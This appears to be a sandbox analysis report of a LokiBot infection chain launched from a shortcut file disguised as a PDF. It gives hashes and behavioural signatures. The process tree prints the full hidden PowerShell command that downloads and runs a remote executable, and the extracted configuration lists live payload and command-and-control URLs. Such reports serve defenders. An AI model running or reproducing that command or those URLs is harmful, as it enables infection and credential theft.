Analysis
-
max time kernel
103s -
max time network
143s -
platform
windows10-2004_x64 -
resource
win10v2004-20241007-en -
resource tags
arch:x64arch:x86image:win10v2004-20241007-enlocale:en-usos:windows10-2004-x64system -
submitted
27-11-2024 10:50
Static task
static1
Behavioral task
behavioral1
Sample
Transferencia.pdf.lnk
Resource
win7-20241023-en
General
-
Target
Transferencia.pdf.lnk
-
Size
2KB
-
MD5
f979b032e2ff9982eb392528641b634c
-
SHA1
47a8320cfa87be712554d29b9ad7ad83fee04370
-
SHA256
5dc14e2aeea05c75894a451c65b43ddc7eb8c70c62ec4da968a2aeccdb52450c
-
SHA512
3891b3b796c8b8ea5d1824a5cce9ec2201bd1ed61d1fbd8d0d561b4da51fab1cd2d865684fe2787ad1385ea529da376f083007059859206282ccbb3cf5ea9825
Malware Config
Extracted
https://www.sodiumlaurethsulfatedesyroyer.com/tdtyhrxf/dfhsrarytrsagerfwearfwerfwerthdyttyfuiuoifjcghhbg/uhihtrgeytgefghdhjsdxghshnytrghdhfghsgb/sdfgdsh.exe
Extracted
lokibot
http://naturealmikaly.sytes.net:5338/sujfygidj/five/fre.php
http://kbfvzoboss.bid/alien/fre.php
http://alphastand.trade/alien/fre.php
http://alphastand.win/alien/fre.php
http://alphastand.top/alien/fre.php
Signatures
-
Lokibot family
-
Blocklisted process makes network request 1 IoCs
Processes:
powershell.exeflow pid Process 4 3572 powershell.exe -
Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs
Run Powershell and hide display window.
-
Downloads MZ/PE file
-
Checks computer location settings 2 TTPs 1 IoCs
Looks up country code configured in the registry, likely geofence.
Processes:
cmd.exedescription ioc Process Key value queried \REGISTRY\USER\S-1-5-21-4089630652-1596403869-279772308-1000\Control Panel\International\Geo\Nation cmd.exe -
Executes dropped EXE 4 IoCs
Processes:
aisplayca.exeaisplayca.exeaisplayca.exeaisplayca.exepid Process 3544 aisplayca.exe 1932 aisplayca.exe 1472 aisplayca.exe 1152 aisplayca.exe -
Reads user/profile data of web browsers 3 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
-
Accesses Microsoft Outlook profiles 1 TTPs 3 IoCs
Processes:
aisplayca.exedescription ioc Process Key opened \REGISTRY\USER\S-1-5-21-4089630652-1596403869-279772308-1000\Software\Microsoft\Office\15.0\Outlook\Profiles\Outlook aisplayca.exe Key opened \REGISTRY\USER\S-1-5-21-4089630652-1596403869-279772308-1000\Software\Microsoft\Office\16.0\Outlook\Profiles\Outlook aisplayca.exe Key opened \REGISTRY\USER\S-1-5-21-4089630652-1596403869-279772308-1000\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook aisplayca.exe -
Suspicious use of SetThreadContext 3 IoCs
Processes:
aisplayca.exedescription pid Process procid_target PID 3544 set thread context of 1932 3544 aisplayca.exe 85 PID 3544 set thread context of 1472 3544 aisplayca.exe 86 PID 3544 set thread context of 1152 3544 aisplayca.exe 87 -
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
-
System Location Discovery: System Language Discovery 1 TTPs 2 IoCs
Attempt gather information about the system language of a victim in order to infer the geographical location of that host.
Processes:
aisplayca.exeaisplayca.exedescription ioc Process Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language aisplayca.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language aisplayca.exe -
Suspicious behavior: EnumeratesProcesses 2 IoCs
Processes:
powershell.exepid Process 3572 powershell.exe 3572 powershell.exe -
Suspicious use of AdjustPrivilegeToken 3 IoCs
Processes:
powershell.exeaisplayca.exeaisplayca.exedescription pid Process Token: SeDebugPrivilege 3572 powershell.exe Token: SeDebugPrivilege 3544 aisplayca.exe Token: SeDebugPrivilege 1932 aisplayca.exe -
Suspicious use of WriteProcessMemory 32 IoCs
Processes:
cmd.exepowershell.exeaisplayca.exedescription pid Process procid_target PID 4068 wrote to memory of 3572 4068 cmd.exe 83 PID 4068 wrote to memory of 3572 4068 cmd.exe 83 PID 3572 wrote to memory of 3544 3572 powershell.exe 84 PID 3572 wrote to memory of 3544 3572 powershell.exe 84 PID 3572 wrote to memory of 3544 3572 powershell.exe 84 PID 3544 wrote to memory of 1932 3544 aisplayca.exe 85 PID 3544 wrote to memory of 1932 3544 aisplayca.exe 85 PID 3544 wrote to memory of 1932 3544 aisplayca.exe 85 PID 3544 wrote to memory of 1932 3544 aisplayca.exe 85 PID 3544 wrote to memory of 1932 3544 aisplayca.exe 85 PID 3544 wrote to memory of 1932 3544 aisplayca.exe 85 PID 3544 wrote to memory of 1932 3544 aisplayca.exe 85 PID 3544 wrote to memory of 1932 3544 aisplayca.exe 85 PID 3544 wrote to memory of 1932 3544 aisplayca.exe 85 PID 3544 wrote to memory of 1472 3544 aisplayca.exe 86 PID 3544 wrote to memory of 1472 3544 aisplayca.exe 86 PID 3544 wrote to memory of 1472 3544 aisplayca.exe 86 PID 3544 wrote to memory of 1472 3544 aisplayca.exe 86 PID 3544 wrote to memory of 1472 3544 aisplayca.exe 86 PID 3544 wrote to memory of 1472 3544 aisplayca.exe 86 PID 3544 wrote to memory of 1472 3544 aisplayca.exe 86 PID 3544 wrote to memory of 1472 3544 aisplayca.exe 86 PID 3544 wrote to memory of 1472 3544 aisplayca.exe 86 PID 3544 wrote to memory of 1152 3544 aisplayca.exe 87 PID 3544 wrote to memory of 1152 3544 aisplayca.exe 87 PID 3544 wrote to memory of 1152 3544 aisplayca.exe 87 PID 3544 wrote to memory of 1152 3544 aisplayca.exe 87 PID 3544 wrote to memory of 1152 3544 aisplayca.exe 87 PID 3544 wrote to memory of 1152 3544 aisplayca.exe 87 PID 3544 wrote to memory of 1152 3544 aisplayca.exe 87 PID 3544 wrote to memory of 1152 3544 aisplayca.exe 87 PID 3544 wrote to memory of 1152 3544 aisplayca.exe 87 -
outlook_office_path 1 IoCs
Processes:
aisplayca.exedescription ioc Process Key opened \REGISTRY\USER\S-1-5-21-4089630652-1596403869-279772308-1000\Software\Microsoft\Office\16.0\Outlook\Profiles\Outlook aisplayca.exe -
outlook_win_path 1 IoCs
Processes:
aisplayca.exedescription ioc Process Key opened \REGISTRY\USER\S-1-5-21-4089630652-1596403869-279772308-1000\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook aisplayca.exe
Processes
-
C:\Windows\system32\cmd.execmd /c C:\Users\Admin\AppData\Local\Temp\Transferencia.pdf.lnk1⤵
- Checks computer location settings
- Suspicious use of WriteProcessMemory
PID:4068 -
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass -WindowStyle hIdDEn Hiddden -Command dssec.dat;(new-object System.Net.WebClient).DownloadFile('https://www.sodiumlaurethsulfatedesyroyer.com/tdtyhrxf/dfhsrarytrsagerfwearfwerfwerthdyttyfuiuoifjcghhbg/uhihtrgeytgefghdhjsdxghshnytrghdhfghsgb/sdfgdsh.exe','aisplayca.exe');./'aisplayca.exe';(get-item 'aisplayca.exe').Attributes += 'Hidden';2⤵
- Blocklisted process makes network request
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:3572 -
C:\Users\Admin\AppData\Local\Temp\aisplayca.exe"C:\Users\Admin\AppData\Local\Temp\aisplayca.exe"3⤵
- Executes dropped EXE
- Suspicious use of SetThreadContext
- System Location Discovery: System Language Discovery
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:3544 -
C:\Users\Admin\AppData\Local\Temp\aisplayca.exeC:\Users\Admin\AppData\Local\Temp\aisplayca.exe4⤵
- Executes dropped EXE
- Accesses Microsoft Outlook profiles
- System Location Discovery: System Language Discovery
- Suspicious use of AdjustPrivilegeToken
- outlook_office_path
- outlook_win_path
PID:1932
-
-
C:\Users\Admin\AppData\Local\Temp\aisplayca.exeC:\Users\Admin\AppData\Local\Temp\aisplayca.exe4⤵
- Executes dropped EXE
PID:1472
-
-
C:\Users\Admin\AppData\Local\Temp\aisplayca.exeC:\Users\Admin\AppData\Local\Temp\aisplayca.exe4⤵
- Executes dropped EXE
PID:1152
-
-
-
Network
MITRE ATT&CK Enterprise v15
Replay Monitor
Loading Replay Monitor...
Downloads
-
Filesize
60B
MD5d17fe0a3f47be24a6453e9ef58c94641
SHA16ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA25696ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
SHA5125b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
-
Filesize
278KB
MD5cdff2a3c6ee375da1457399d2e649eaa
SHA15ba6fc635a48e49cb58b9ae9e1cae09cba2f0551
SHA256521f0184afe9ea173b1a43e0cda3d5d18ee3380469516a35b2313432c728efc3
SHA512723d00aa3716383ba412e201f355de016e248e29e1f5b5bb1bde6e265cc1d97179e68320fa26b2031acf81a82bdcb6fdbf04a65cefed813d38f8bf41042602f9
-
C:\Users\Admin\AppData\Roaming\Microsoft\Crypto\RSA\S-1-5-21-4089630652-1596403869-279772308-1000\0f5007522459c86e95ffcc62f32308f1_dc5cddf5-9e4b-4c89-ba53-89649a7a5ee7
Filesize46B
MD5d898504a722bff1524134c6ab6a5eaa5
SHA1e0fdc90c2ca2a0219c99d2758e68c18875a3e11e
SHA256878f32f76b159494f5a39f9321616c6068cdb82e88df89bcc739bbc1ea78e1f9
SHA51226a4398bffb0c0aef9a6ec53cd3367a2d0abf2f70097f711bbbf1e9e32fd9f1a72121691bb6a39eeb55d596edd527934e541b4defb3b1426b1d1a6429804dc61
-
C:\Users\Admin\AppData\Roaming\Microsoft\Crypto\RSA\S-1-5-21-4089630652-1596403869-279772308-1000\0f5007522459c86e95ffcc62f32308f1_dc5cddf5-9e4b-4c89-ba53-89649a7a5ee7
Filesize46B
MD5c07225d4e7d01d31042965f048728a0a
SHA169d70b340fd9f44c89adb9a2278df84faa9906b7
SHA2568c136c7ae08020ad16fd1928e36ad335ddef8b85906d66b712fff049aa57dc9a
SHA51223d3cea738e1abf561320847c39dadc8b5794d7bd8761b0457956f827a17ad2556118b909a3e6929db79980ccf156a6f58ac823cf88329e62417d2807b34b64b